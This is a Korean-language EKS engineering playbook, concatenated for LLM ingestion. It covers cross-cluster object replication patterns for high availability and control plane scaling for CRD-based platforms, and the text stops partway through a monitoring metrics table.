# Engineering Playbook
> Amazon EKS 기반 인프라, Agentic AI 플랫폼, AI/ML 워크플로우, 보안, 자동화된 운영에 대한 실전 엔지니어링 가이드
This file contains the full text of all documentation pages, concatenated for LLM ingestion.
---
# Engineering Playbook 소개
> 클라우드 네이티브 아키텍처 엔지니어링 플레이북 & 벤치마크 리포트
Source: https://devfloor9.github.io/engineering-playbook/docs/intro
Category: Getting Started
Last updated: 2026-06-30
Author: devfloor9
Tags: kubernetes, cloud-native, introduction, getting-started
Amazon EKS 기반 클라우드 네이티브 인프라 최적화, Agentic AI 플랫폼 엔지니어링, AIOps 방법론을 위한 실전 가이드입니다. 각 문서는 아키텍처 의사결정 근거와 정량적 벤치마크 데이터를 함께 제공하여, 프로덕션 환경에서 바로 적용할 수 있는 패턴을 다룹니다.
왼쪽 사이드바에서 관심 있는 도메인을 선택하여 시작하세요.
---
# EKS Best Practices
> Amazon EKS 프로덕션 운영을 위한 네트워크, Control Plane, 보안, 비용 최적화 종합 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices
Category: EKS Best Practices
Last updated: 2026-06-30
Author: devfloor9
Tags: eks, kubernetes, best-practices, networking, control-plane, security, cost
import { DocCard, DocCardGrid } from '@site/src/components/DocCards';
Amazon EKS를 프로덕션 환경에서 운영할 때 직면하는 심화 주제를 다룹니다. 네트워크 성능 최적화부터 Control Plane 확장, 보안, 비용 관리, 운영 안정성까지 5개 영역의 베스트 프랙티스를 제공합니다.
---
## 문서 구성
---
# Control Plane & 확장
> EKS Control Plane 동작 원리, CRD 스케일링 전략, 멀티 클러스터 고가용성 아키텍처
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/control-plane-scaling
Category: EKS Best Practices
Last updated: 2026-06-30
Author: devfloor9
Tags: eks, control-plane, crd, scaling, multi-cluster, ha
import { DocCard, DocCardGrid } from '@site/src/components/DocCards';
EKS Control Plane의 내부 동작을 이해하고, CRD 기반 플랫폼의 안정적 확장과 멀티 클러스터 고가용성 전략을 다룹니다.
---
---
# Cross-Cluster Object Replication (HA) 아키텍처 가이드
> EKS 멀티 클러스터 환경에서 오브젝트 복제를 통한 고가용성 아키텍처 패턴과 의사결정 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/control-plane-scaling/cross-cluster-object-replication
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, multi-cluster, high-availability, gitops, argocd, flux, disaster-recovery
> **📌 기준 환경**: EKS 1.32+, ArgoCD 2.13+, Flux v2.4+, Velero 1.15+
## 1. 개요
프로덕션 환경에서 단일 EKS 클러스터에 의존하면, 클러스터 장애 시 전체 서비스가 중단됩니다. **Cross-Cluster Object Replication**은 Kubernetes 오브젝트(ConfigMap, Secret, RBAC, CRD, NetworkPolicy 등)를 여러 클러스터에 일관되게 복제하여 고가용성을 확보하는 전략입니다.
### 현재 상황
EKS는 관리형 Cross-Cluster Object Replication 기능을 제공하지 않습니다. 따라서 **오픈소스 도구와 아키텍처 패턴을 조합**하여 직접 구현해야 합니다. 이 가이드는 패턴별 장단점을 비교하고, 워크로드 유형에 따른 선택 기준을 제시합니다.
### 이 가이드의 범위
| 포함 | 미포함 |
|------|--------|
| K8s 오브젝트 복제 (ConfigMap, Secret, CRD, RBAC 등) | 애플리케이션 데이터 복제 (DB 레플리카) |
| GitOps 기반 선언적 동기화 | 서비스 메시 기반 트래픽 라우팅 |
| 상태 저장 오브젝트 백업/복원 (Velero) | 스토리지 레이어 복제 (EBS, EFS) |
| DNS 페일오버 전략 | 애플리케이션 레벨 HA 패턴 |
---
## 2. 멀티 클러스터 아키텍처 패턴 비교
Cross-Cluster Object Replication을 구현하는 세 가지 핵심 패턴이 있습니다.
### Pattern 1: API Proxy (Push 모델)
중앙 라우팅 레이어가 각 클러스터의 API Server로 CRUD 요청을 직접 프록시합니다.
```mermaid
graph LR
CLIENT[관리자/CI] --> PROXY[API Proxy Layer]
PROXY --> |CRUD 프록시| C1[Cluster A
API Server]
PROXY --> |CRUD 프록시| C2[Cluster B
API Server]
style PROXY fill:#ff9900,stroke:#cc7a00,color:#fff
style C1 fill:#4286f4,stroke:#2a6acf,color:#fff
style C2 fill:#4286f4,stroke:#2a6acf,color:#fff
```
- **동작**: 중앙에서 각 클러스터로 직접 API 호출
- **장점**: 가볍고 직관적
- **한계**: 자격 증명 보안 취약, 멀티 클러스터 Watch 불가, 연결 복잡도 증가
### Pattern 2: Multi-cluster Controller (Kubefed 계열)
중앙 컨트롤러가 Informer 기반 List-Watch로 각 클러스터의 상태를 감시하고 CRD를 통해 동기화합니다.
```mermaid
graph TB
CTRL[Central Controller
Kubefed / Admiralty] --> |List-Watch| C1[Cluster A]
CTRL --> |List-Watch| C2[Cluster B]
CTRL --> |List-Watch| C3[Cluster C]
CRD[Federation CRDs] --> CTRL
style CTRL fill:#ff9900,stroke:#cc7a00,color:#fff
style CRD fill:#fbbc04,stroke:#c99603,color:#000
style C1 fill:#4286f4,stroke:#2a6acf,color:#fff
style C2 fill:#4286f4,stroke:#2a6acf,color:#fff
style C3 fill:#4286f4,stroke:#2a6acf,color:#fff
```
- **동작**: 중앙 컨트롤러가 각 클러스터 상태를 감시하고 동기화
- **장점**: 동적 클러스터 디스커버리, Federation 정책 적용 가능
- **한계**: ~10개 이상 클러스터에서 Watch 이벤트 오버플로, Informer 캐시 크기 제한, 자격 증명 평문 저장 위험
:::warning Kubefed 프로젝트 상태
Kubernetes SIG에서 Kubefed(v2)는 사실상 유지보수 모드입니다. 신규 프로젝트에서는 권장하지 않습니다.
:::
### Pattern 3: Agent-based Pull 모델 (권장)
각 클러스터의 에이전트가 중앙 소스(Git 또는 허브 클러스터)에서 원하는 상태를 Pull하여 로컬에서 Reconcile합니다. kubelet이 Pod 스펙을 받아 로컬에서 실행하는 것과 동일한 원리입니다.
```mermaid
graph TB
SOURCE[Central Source
Git Repository / Hub Cluster]
subgraph "Cluster A"
A_AGENT[Agent
Flux / ArgoCD]
A_AGENT --> |Pull & Reconcile| A_RES[Local Resources]
end
subgraph "Cluster B"
B_AGENT[Agent
Flux / ArgoCD]
B_AGENT --> |Pull & Reconcile| B_RES[Local Resources]
end
A_AGENT --> |Pull| SOURCE
B_AGENT --> |Pull| SOURCE
style SOURCE fill:#34a853,stroke:#2a8642,color:#fff
style A_AGENT fill:#4286f4,stroke:#2a6acf,color:#fff
style B_AGENT fill:#4286f4,stroke:#2a6acf,color:#fff
```
- **동작**: 각 클러스터 에이전트가 독립적으로 원하는 상태를 Pull하여 로컬 Reconcile
- **장점**: 높은 확장성, Eventual Consistency, 중앙 장애에도 로컬 동작 유지
- **한계**: 모든 클러스터에 에이전트 배포 필요
### 패턴 비교 종합
| 관점 | API Proxy | Multi-cluster Controller | Agent-based Pull |
|------|-----------|--------------------------|-------------------|
| **동작 방식** | 중앙 → 클러스터 Push | 중앙 Watch + CRD 동기화 | 클러스터 → 중앙 Pull |
| **확장성** | 낮음 (연결 수 비례) | 중간 (~10 클러스터) | 높음 (수백 클러스터) |
| **복잡도** | 낮음 | 높음 | 중간 |
| **보안** | 취약 (다수 자격 증명) | 취약 (평문 저장) | 강함 (에이전트 로컬 권한) |
| **장애 격리** | 낮음 | 중간 | 높음 |
| **Drift Detection** | 없음 | 부분적 | 내장 |
| **권장 시나리오** | PoC, 소규모 | 레거시 환경 | **프로덕션 (권장)** |
### 의사결정 플로우차트
```mermaid
flowchart TD
START[Cross-Cluster
Object Replication 필요] --> Q1{클러스터 수?}
Q1 --> |2-3개| Q2{선언적 관리
필요?}
Q1 --> |4개 이상| PULL[Agent-based Pull
GitOps 권장]
Q2 --> |Yes| PULL
Q2 --> |No, 단순 복제| Q3{오브젝트
세밀한 제어?}
Q3 --> |Yes| MIRROR[Custom Controller
MirrorController]
Q3 --> |No| PROXY[API Proxy
경량 솔루션]
PULL --> GITOPS{GitOps 도구 선택}
GITOPS --> |Hub-Spoke 중앙 관리| ARGO[ArgoCD
Hub-and-Spoke]
GITOPS --> |분산 자율 운영| FLUX[Flux
클러스터별 독립]
style START fill:#232f3e,stroke:#1a2332,color:#fff
style PULL fill:#34a853,stroke:#2a8642,color:#fff
style ARGO fill:#4286f4,stroke:#2a6acf,color:#fff
style FLUX fill:#4286f4,stroke:#2a6acf,color:#fff
style MIRROR fill:#fbbc04,stroke:#c99603,color:#000
style PROXY fill:#ff9900,stroke:#cc7a00,color:#fff
```
---
## 3. 권장 접근법별 아키텍처
### Option A: GitOps (Flux / ArgoCD) — 대부분의 유스케이스에 권장
Git 레포지토리를 Single Source of Truth로 사용하고, 각 클러스터의 GitOps 에이전트가 독립적으로 Pull & Reconcile합니다.
```mermaid
graph TB
subgraph "Git Repository (Single Source of Truth)"
GIT[K8s Manifests
ConfigMap, Secret, RBAC,
CRD, NetworkPolicy]
end
subgraph "Cluster A (ap-northeast-2a)"
A_FLUX[Flux / ArgoCD Agent]
A_RES[Reconciled Resources]
A_FLUX --> A_RES
end
subgraph "Cluster B (ap-northeast-2c)"
B_FLUX[Flux / ArgoCD Agent]
B_RES[Reconciled Resources]
B_FLUX --> B_RES
end
GIT --> |Pull| A_FLUX
GIT --> |Pull| B_FLUX
style GIT fill:#34a853,stroke:#2a8642,color:#fff
style A_FLUX fill:#4286f4,stroke:#2a6acf,color:#fff
style B_FLUX fill:#4286f4,stroke:#2a6acf,color:#fff
```
**핵심 이점:**
- **Drift Detection**: 클러스터 상태가 Git과 다르면 자동 감지 및 복구
- **감사 추적**: 모든 변경 이력이 Git 커밋으로 남음
- **선언적 관리**: 원하는 상태를 정의하면 에이전트가 Reconcile
- **장애 격리**: 한 클러스터 에이전트 장애가 다른 클러스터에 영향 없음
**Active-Active 구성:**
두 클러스터 모두 동일한 Git 레포에서 독립적으로 Pull합니다. DNS(Route 53)로 트래픽을 분산하며, 한 클러스터 장애 시 나머지 클러스터가 즉시 전체 트래픽을 처리합니다.
**Active-Passive 구성:**
Active 클러스터만 GitOps 에이전트를 활성화합니다. Passive 클러스터는 에이전트를 Suspended 상태로 유지하다가 페일오버 시 활성화합니다.
### Option B: ArgoCD Hub-and-Spoke 모델
Management Cluster에 ArgoCD를 설치하고, ApplicationSets를 통해 여러 워크로드 클러스터에 배포합니다.
```mermaid
graph TB
subgraph "Management Cluster"
ARGO[ArgoCD Server]
APPSET[ApplicationSets]
APPSET --> ARGO
end
subgraph "Workload Cluster A"
WA[Replicated Objects]
end
subgraph "Workload Cluster B"
WB[Replicated Objects]
end
ARGO --> |Deploy| WA
ARGO --> |Deploy| WB
style ARGO fill:#ff9900,stroke:#cc7a00,color:#fff
style APPSET fill:#fbbc04,stroke:#c99603,color:#000
style WA fill:#4286f4,stroke:#2a6acf,color:#fff
style WB fill:#4286f4,stroke:#2a6acf,color:#fff
```
**HA 구성 전략:**
| 전략 | 설명 | 적합 시나리오 |
|------|------|---------------|
| **Active-Passive 미러링** | 두 리전에 ArgoCD를 배포하되, Passive는 컨트롤러를 비활성화. 페일오버 시 수동 Scale-Up | DR 요건이 낮은 환경 |
| **Active-Active Sync Windows** | 두 ArgoCD 인스턴스가 겹치지 않는 시간대에 Sync 수행 (Sync Windows 기능) | 충돌 방지가 필요한 Active-Active |
:::info ApplicationSets Generator
ArgoCD ApplicationSets의 `Cluster Generator`를 사용하면 ArgoCD에 등록된 모든 클러스터에 자동으로 애플리케이션을 배포할 수 있습니다. 새 클러스터 추가 시 별도 설정 없이 즉시 복제가 시작됩니다.
:::
### Option C: Custom Controller (MirrorController 패턴)
오브젝트 복제에 대한 세밀한 제어가 필요할 때, 전용 컨트롤러를 개발하여 소스 클러스터와 타겟 클러스터 간 동기화를 관리합니다.
**적용 시나리오:**
- 특정 Label/Annotation이 있는 오브젝트만 선택적 복제
- 복제 시 오브젝트 변환(Transform) 필요 (예: Namespace 변경, 필드 수정)
- 충돌 해결 로직을 커스텀으로 구현해야 하는 경우
**장단점:**
| 장점 | 단점 |
|------|------|
| 관심사 분리가 명확 | 추가 운영 오버헤드 |
| 핵심 로직 복잡도 감소 | 동기화 지연 가능성 |
| 복제 정책 세밀 제어 | 디버깅 복잡도 증가 |
| 충돌 해결 커스터마이징 | 직접 개발/유지보수 필요 |
---
## 4. Active-Active vs Active-Passive 의사결정
### 비교 테이블
| 관점 | Active-Active | Active-Passive |
|------|---------------|----------------|
| **오브젝트 동기화** | 양쪽 클러스터가 동일 Git 소스에서 독립 Pull | Active만 Reconcile, Passive는 대기 |
| **페일오버 시간** | 거의 0 (양쪽 이미 서빙 중) | 수 분 (Passive 활성화 필요) |
| **충돌 해결** | Write 충돌 가능 — Sync Windows 등으로 방지 필요 | 충돌 없음 — Writer가 하나 |
| **운영 복잡도** | 높음 (오브젝트 ID, DNS, 상태 동기화) | 낮음 (표준 페일오버 모델) |
| **비용** | 높음 (양쪽 풀 용량 운영) | 낮음 (Passive 축소 운영 가능) |
| **적합 시나리오** | 멀티 리전 HA, 글로벌 로드밸런싱 | DR, 비용 민감 HA |
### 워크로드 유형별 권장 모드
```mermaid
graph LR
subgraph "워크로드 유형"
SL[Stateless
API, Web]
SF[Stateful
DB, Cache]
AI[AI/ML 추론
vLLM, TGI]
end
subgraph "권장 모드"
AA[Active-Active
GitOps + Route 53]
AP[Active-Passive
GitOps + Velero]
AAM[Active-Active
GitOps + S3 모델 동기화]
end
SL --> AA
SF --> AP
AI --> AAM
style SL fill:#34a853,stroke:#2a8642,color:#fff
style SF fill:#fbbc04,stroke:#c99603,color:#000
style AI fill:#4286f4,stroke:#2a6acf,color:#fff
style AA fill:#34a853,stroke:#2a8642,color:#fff
style AP fill:#fbbc04,stroke:#c99603,color:#000
style AAM fill:#4286f4,stroke:#2a6acf,color:#fff
```
---
## 5. 보조 도구 스택
오브젝트 복제만으로는 완전한 Cross-Cluster HA를 달성할 수 없습니다. 다음 도구를 조합하여 전체 스택을 구성합니다.
| 도구 | 역할 | 비고 |
|------|------|------|
| **Flux / ArgoCD** | K8s 오브젝트 복제 (GitOps) | 핵심 복제 메커니즘 |
| **Route 53** | DNS 기반 페일오버/로드밸런싱 | Health Check + Failover Routing |
| **Global Accelerator** | Anycast IP 기반 글로벌 라우팅 | 멀티 리전 Active-Active 시 |
| **Velero** | Stateful 오브젝트 백업/복원 (PV, etcd) | S3 Cross-Region Replication 연계 |
| **External Secrets Operator** | Secret 동기화 | AWS Secrets Manager → 양쪽 클러스터 |
| **Crossplane / ACK** | AWS 리소스 정의 동기화 | IaC를 K8s 오브젝트로 관리 |
### 도구 조합 아키텍처
```mermaid
graph TB
subgraph "Control Plane"
GIT[Git Repository
K8s Manifests]
SM[AWS Secrets Manager]
S3[S3 + Cross-Region
Replication]
R53[Route 53
Health Checks]
end
subgraph "Cluster A"
A_GITOPS[GitOps Agent] --> A_K8S[K8s Objects]
A_ESO[External Secrets
Operator] --> A_SEC[Secrets]
A_VELERO[Velero] --> A_BACKUP[Backup to S3]
end
subgraph "Cluster B"
B_GITOPS[GitOps Agent] --> B_K8S[K8s Objects]
B_ESO[External Secrets
Operator] --> B_SEC[Secrets]
B_VELERO[Velero] --> B_RESTORE[Restore from S3]
end
GIT --> A_GITOPS
GIT --> B_GITOPS
SM --> A_ESO
SM --> B_ESO
A_BACKUP --> S3
S3 --> B_RESTORE
R53 --> |Failover| A_K8S
R53 --> |Failover| B_K8S
style GIT fill:#34a853,stroke:#2a8642,color:#fff
style SM fill:#ff9900,stroke:#cc7a00,color:#fff
style S3 fill:#ff9900,stroke:#cc7a00,color:#fff
style R53 fill:#ff9900,stroke:#cc7a00,color:#fff
```
---
## 6. 현재 한계와 향후 전망
EKS 멀티 클러스터 관리 영역에서 아직 관리형 서비스로 제공되지 않는 기능들이 있습니다.
| 영역 | 현재 상태 | 대안 |
|------|-----------|------|
| **관리형 ClusterSets** | 미출시 | RAM(Resource Access Manager)으로 Cross-Account 그룹핑 |
| **Built-in Cross-Cluster Replication** | 미출시 | GitOps (Flux/ArgoCD) |
| **Multi-Region EKS 클러스터** | 미출시 | 리전별 독립 클러스터 + GitOps 동기화 |
| **관리형 ArgoCD** | 개발 중 | 자체 ArgoCD 설치/운영 |
:::tip 현실적 접근
위 기능들이 출시될 때까지, GitOps + 보조 도구 스택 조합이 가장 성숙하고 검증된 접근법입니다. 많은 EKS 고객이 Flux/ArgoCD 기반 GitOps를 채택하고 있습니다.
:::
---
## 7. 실전 권장 조합
단일 클러스터 의존성을 제거하기 위한 최종 권장 도구 조합입니다.
| 목적 | 권장 도구 | 구성 방식 |
|------|-----------|-----------|
| **K8s 오브젝트 복제** | GitOps (Flux 또는 ArgoCD) | 동일 Git 레포에서 양쪽 클러스터가 Pull |
| **Stateful 데이터 보호** | Velero + S3 Cross-Region Replication | 정기 백업 + 리전 간 복제 |
| **Secret 동기화** | External Secrets Operator | AWS Secrets Manager를 공유 소스로 |
| **DNS 페일오버** | Route 53 Health Checks | Active-Active 또는 Failover Routing |
| **CRD/Custom Resource** | GitOps 레포에 포함 | 표준 K8s 오브젝트와 동일하게 관리 |
| **AWS 리소스 정의** | Crossplane 또는 ACK | IaC를 K8s 네이티브로 동기화 |
### 구현 우선순위
1. **P0**: GitOps 에이전트 배포 + Git 레포 구조 설계
2. **P1**: External Secrets Operator + Route 53 Health Check 구성
3. **P2**: Velero 백업 정책 수립 + S3 Cross-Region Replication
4. **P3**: Crossplane/ACK으로 AWS 리소스 동기화 (필요 시)
---
## 8. 관련 문서
- [EKS 고가용성 아키텍처 가이드](/docs/eks-best-practices/operations-reliability/eks-resiliency-guide) — Failure Domain 계층별 대응 전략
- [GitOps 기반 클러스터 운영](/docs/eks-best-practices/operations-reliability/gitops-cluster-operation) — Flux/ArgoCD 운영 가이드
---
## 9. 참고 자료
- [ArgoCD ApplicationSets](https://argo-cd.readthedocs.io/en/stable/operator-manual/applicationset/) — 멀티 클러스터 자동 배포
- [ArgoCD Sync Windows](https://argo-cd.readthedocs.io/en/stable/user-guide/sync_windows/) — Active-Active 충돌 방지
- [Flux Multi-Tenancy](https://fluxcd.io/flux/guides/repository-structure/) — 멀티 클러스터 레포 구조
- [Velero Documentation](https://velero.io/docs/) — 클러스터 백업/복원
- [External Secrets Operator](https://external-secrets.io/) — 외부 Secret 동기화
- [Crossplane](https://www.crossplane.io/) — K8s 네이티브 IaC
- [AWS Route 53 Health Checks](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/health-checks-creating.html) — DNS 페일오버
---
# EKS Control Plane Deep Dive — CRD at Scale 종합 가이드
> EKS Control Plane 동작 원리를 이해하고, CRD 기반 플랫폼을 안정적으로 확장하기 위한 Provisioned Control Plane 활용법, 모니터링 전략, CRD 설계 베스트 프랙티스
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/control-plane-scaling/eks-control-plane-crd-scaling
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, kubernetes, control-plane, crd, etcd, scaling, monitoring, best-practices
CRD(Custom Resource Definition) 기반 플랫폼을 EKS 위에서 운영할 때, Control Plane은 가장 먼저 병목이 되는 지점입니다. 이 가이드는 **Control Plane이 어떻게 동작하는지 이해**하고, **CRD가 미치는 구체적 영향을 파악**한 뒤, **Provisioned Control Plane(PCP)과 모니터링을 통해 선제적으로 대응**하는 실전 전략을 제공합니다.
---
## 목차
1. [EKS Control Plane 내부 아키텍처](#1-eks-control-plane-내부-아키텍처)
2. [Control Plane 자동 스케일링](#2-control-plane-자동-스케일링)
3. [EKS Provisioned Control Plane (PCP)](#3-eks-provisioned-control-plane-pcp)
4. [CRD가 Control Plane에 미치는 영향](#4-crd가-control-plane에-미치는-영향)
5. [EKS Control Plane 모니터링](#5-eks-control-plane-모니터링)
6. [CRD 설계 베스트 프랙티스](#6-crd-설계-베스트-프랙티스)
7. [종합 권장사항 & 도입 로드맵](#7-종합-권장사항--도입-로드맵)
---
## 1. EKS Control Plane 내부 아키텍처
### 1.1 물리적 인프라 구조
EKS의 Control Plane은 AWS가 관리하는 전용 VPC 내에서 실행됩니다. 고객의 워커 노드와는 분리된 독립적인 인프라입니다.
```
EKS Control Plane (AWS 관리형)
├── kube-apiserver (최소 2개, 다중 AZ 분산)
├── kube-controller-manager
├── kube-scheduler
├── etcd (분산 키-값 저장소)
└── Network Load Balancer (API Server 엔드포인트)
```
핵심 포인트:
- Control Plane 컴포넌트는 **다중 AZ에 분산**되어 고가용성을 보장합니다
- 고객에게는 NLB를 통해 단일 API Server 엔드포인트가 노출됩니다
- Control Plane은 AWS가 완전 관리하며, 고객 VPC와 분리된 환경에서 실행됩니다
### 1.2 etcd — Control Plane의 심장
etcd는 Kubernetes의 모든 상태(Pod, Service, CRD 오브젝트 등)를 저장하는 분산 키-값 저장소입니다. Control Plane 성능의 핵심 병목이 되는 이유:
| 특성 | 설명 | CRD 영향 |
|------|------|---------|
| **DB Size 한도** | Standard 티어 8GB, Provisioned 티어 16GB | CRD 오브젝트가 많을수록 DB 크기 증가 |
| **요청 크기 제한** | 단일 오브젝트 최대 1.5MB | 큰 spec을 가진 CR이 한도에 근접 가능 |
| **Watch Stream** | 변경 사항을 실시간으로 전파 | CRD 컨트롤러가 Watch를 추가할수록 부하 증가 |
| **RAFT 합의** | 쓰기 시 과반수 합의 필요 | 쓰기가 많은 CRD 패턴에서 지연 발생 |
:::info etcd 아키텍처 진화
AWS는 EKS의 etcd 계층을 지속적으로 개선하고 있으며, **예측 가능한 성능**(일관된 지연 시간), **데이터 내구성 향상**, **가용성 개선**이 진행 중입니다.
:::
---
## 2. Control Plane 자동 스케일링
### 2.1 자동 스케일링 동작 원리
EKS는 Control Plane 인스턴스를 **자동으로 수직 스케일링**합니다. 워크로드 부하에 따라 API Server, etcd 등의 리소스가 자동으로 조정됩니다. 주요 스케일링 신호:
- **API Server 부하**: inflight requests 수, 요청 지연 시간
- **etcd 부하**: 데이터베이스 크기, Watch 스트림 수
- **스케줄링 부하**: 스케줄링 대기 Pod 수
- **데이터 플레인 규모**: Worker Node 수에 따른 선제적 스케일업
### 2.2 스케일링 특성
- **Scale Up**: 부하 증가 감지 시 자동으로 스케일업
- **Scale Down**: 부하 감소 후 보수적으로 스케일다운 (급격한 축소 방지)
- Standard 모드에서는 스케일링 범위에 상한이 있으며, Provisioned 모드로 이를 확장할 수 있습니다
:::warning 핵심 인사이트
Standard 티어에서는 etcd DB Size가 **8GB로 고정**됩니다. CRD 오브젝트가 많은 플랫폼에서는 이 한도가 가장 먼저 병목이 됩니다. 자동 스케일링이 CPU/Memory를 아무리 올려도 etcd 용량은 늘어나지 않습니다.
:::
---
## 3. EKS Provisioned Control Plane (PCP)
### 3.1 개요
**EKS Provisioned Control Plane(PCP)**은 re:Invent 2025에서 GA로 출시되었습니다[^1]. 고객이 직접 Control Plane의 스케일링 티어(T-Shirt Size)를 선택하여 **성능 바닥(floor)**을 설정할 수 있는 기능입니다.
[^1]: 8XL 티어 및 99.99% SLA 보장은 2026년 3월에 추가 출시되었습니다.
기존에는 VAS의 자동 스케일링에만 의존했지만, PCP를 통해 **선제적으로 최소 성능 보장 수준을 확보**할 수 있습니다.
### 3.2 두 가지 운영 모드
| 모드 | 설명 |
|------|------|
| **Standard** (동적 모드) | 기존과 동일. 자동으로 부하에 따라 스케일링. 부하 감소 시 보수적으로 스케일다운 |
| **Provisioned** (프로비저닝 모드) | 고객이 XL/2XL/4XL/8XL 중 원하는 티어를 선택. 해당 티어 아래로 절대 스케일다운하지 않음. 필요시 티어 이상으로 자동 스케일업 가능 |
### 3.3 티어별 사양 및 가격
| 티어 | etcd DB | SLA | 시간당 가격 |
|------|---------|-----|----------|
| Standard | 8GB | 99.95% | $0.10 |
| **XL** | **16GB** | **99.99%** | $1.65 |
| **2XL** | **16GB** | **99.99%** | $3.40 |
| **4XL** | **16GB** | **99.99%** | $6.90 |
| **8XL** | **16GB** | **99.99%** | $13.90 |
> 최신 가격은 [AWS EKS Pricing](https://aws.amazon.com/eks/pricing/) 페이지에서 확인하세요.
### 3.4 Provisioned 티어에서만 사용 가능한 기능
| 기능 | Standard | XL 이상 |
|------|----------|--------|
| API Server 수평 확장 (2개 이상) | 2개 제한 | 가능 |
| etcd DB Size 16GB | 8GB 고정 | 16GB |
| etcd Event Sharding | 불가 | 가능 (이벤트 객체를 별도 etcd 파티션으로 분리) |
| 99.99% SLA | 99.95% | 99.99% |
:::tip CRD 플랫폼에 Provisioned 티어를 권장하는 이유
CRD 기반 플랫폼에서 가장 먼저 한계에 도달하는 것은 **etcd DB Size**입니다. Standard 티어의 8GB 한도는 CRD 오브젝트가 많은 환경에서 금방 소진됩니다. Provisioned 티어는 16GB로 2배 확장되며, Event Sharding을 통해 이벤트 객체의 부하도 분리할 수 있습니다.
:::
:::info 상세 사이징이 필요하신가요?
티어별 K8s 파라미터 (API Server inflight, Scheduler QPS), APF seat 산정 공식, 10K 노드 사이징 예시, 실제 고객 사례, ClusterLoader2 성능 검증 방법은 **[PCP 티어 사이징 & 성능 검증 가이드](./eks-pcp-tier-sizing-validation)**를 참조하세요.
:::
### 3.6 CLI/API 사용법
**클러스터 생성 시 티어 지정:**
```bash
aws eks create-cluster --name prod \
--role-arn arn:aws:iam::012345678910:role/eks-service-role \
--resources-vpc-config subnetIds=subnet-xxx,securityGroupIds=sg-xxx \
--control-plane-scaling-config tier=XL
```
**기존 클러스터 티어 변경:**
```bash
aws eks update-cluster-config --name example \
--control-plane-scaling-config tier=XL
```
**업데이트 진행 확인:**
```bash
aws eks describe-update --name example --update-id
# Response: { "update": { "type": "ScalingTierConfigUpdate", "status": "Successful" } }
```
**클러스터 정보 확인:**
```bash
aws eks describe-cluster --name example
# Response에 controlPlaneScalingConfig.tier 필드 포함
```
> **참고:** CLI 플래그 형식(`--control-plane-scaling-config tier=XL`)은 AWS CLI 버전에 따라 변경될 수 있습니다. 최신 명령 형식은 [AWS CLI Command Reference - EKS](https://docs.aws.amazon.com/cli/latest/reference/eks/)를 확인하세요.
### 3.7 PCP 관련 클러스터 속성
| 속성 | 설명 |
|------|------|
| `controlPlaneScalingConfig.tier` | 현재 프로비저닝된 티어 (Standard/XL/2XL/4XL/8XL) |
---
## 4. CRD가 Control Plane에 미치는 영향
CRD 기반 플랫폼을 운영할 때 Control Plane에 미치는 영향을 정확히 이해해야 합니다. 영향은 크게 **etcd**, **API Server** 두 축으로 나뉩니다.
### 4.1 etcd에 대한 영향 (가장 중요)
| 영향 요인 | 메커니즘 | 영향도 |
|---------|---------|-------|
| **DB Size 증가** | CRD 오브젝트가 etcd 저장소를 점유 | 높음 |
| **Watch Stream 부하** | CRD 컨트롤러가 Watch 스트림을 생성하여 etcd gRPC 부하 증가 | 높음 |
| **Request Size** | 개별 CRD 오브젝트가 1.5MB 제한에 근접 가능 | 중간 |
| **List Call 비용** | CRD는 JSON 인코딩을 사용 (protobuf 아님) → 성능 병목 | 높음 |
**etcd DB Size 제한 (PCP 티어별):**
| 티어 | DB Size 한도 | 단일 오브젝트 제한 |
|------|-----------|--------------|
| Standard | 8GB | 1.5MB (변경 불가) |
| Provisioned (XL 이상) | 16GB | 1.5MB (변경 불가) |
### 4.2 API Server에 대한 영향
CRD 관련 API Server 성능 이슈:
1. **JSON vs Protobuf**: CRD는 JSON 직렬화를 사용하므로 built-in 리소스 대비 **List/Watch 성능이 현저히 저하**됩니다
2. **APF (API Priority and Fairness)**: List 요청은 Work Estimator에 의해 최대 10개 시트를 차지할 수 있어, inflight 요청 한도에 빠르게 도달합니다
3. **Watch Cache**: CRD의 Watch Cache 용량은 built-in 리소스와 동일하게 기본 100입니다
### 4.3 증상별 원인 매핑
실제 운영 환경에서 발생하는 증상과 그 원인을 매핑하면 다음과 같습니다:
```mermaid
flowchart LR
A[429 Throttling 증가] --> B[inflight 요청 한도 초과]
B --> C[CRD List 요청이 APF 시트 과다 소비]
D[List 응답 느림] --> E[JSON 직렬화 오버헤드]
E --> F[대량 CRD 오브젝트 + JSON 인코딩]
G[etcd DB Size 경고] --> H[CRD 오브젝트 누적]
H --> I[오래된 CR 미정리 + 큰 spec 크기]
J[Watch 끊김/재연결] --> K[etcd Watch Stream 과부하]
K --> L[다수 CRD 컨트롤러의 Watch 동시 생성]
```
:::danger CRD 부하 공식
**Control Plane 부하 = CRD 타입 수 x 오브젝트 크기 x 컨트롤러 패턴(List/Watch 빈도)**
세 가지 요소를 모두 관리해야 합니다. CRD 타입이 적더라도 오브젝트가 크거나 컨트롤러가 비효율적이면 동일한 문제가 발생합니다.
:::
---
## 5. EKS Control Plane 모니터링
EKS는 Control Plane에 대한 **4가지 차원의 Observability**를 제공합니다:
```
┌─────────────────────────────────────────────────────────────────────┐
│ EKS Control Plane Observability │
├──────────────────┬──────────────────┬────────────────┬──────────────┤
│ ① CloudWatch │ ② Prometheus │ ③ Control │ ④ Cluster │
│ Vended Metrics│ Metrics │ Plane │ Insights │
│ │ Endpoint │ Logging │ │
├──────────────────┼──────────────────┼────────────────┼──────────────┤
│ AWS/EKS 네임스페이스│ KCM/KSH/etcd │ API/Audit/ │ Upgrade │
│ (자동, 무료) │ (Prometheus │ Auth/CM/Sched │ Readiness │
│ │ 호환 K8s API) │ (CloudWatch │ Health Issues│
│ │ │ Logs) │ Addon Compat │
├──────────────────┼──────────────────┼────────────────┼──────────────┤
│ v1.28+ 자동 │ v1.28+ 수동 │ 모든 버전 │ 모든 버전 자동 │
└──────────────────┴──────────────────┴────────────────┴──────────────┘
```
### 5.1 CloudWatch Vended Metrics (자동, 무료)
K8s 1.28 이상 클러스터에서 추가 비용 없이 자동으로 CloudWatch `AWS/EKS` 네임스페이스에 핵심 Control Plane 메트릭이 게시됩니다.
**주요 Vended Metrics:**
| 컴포넌트 | 메트릭 | 설명 | 중요도 |
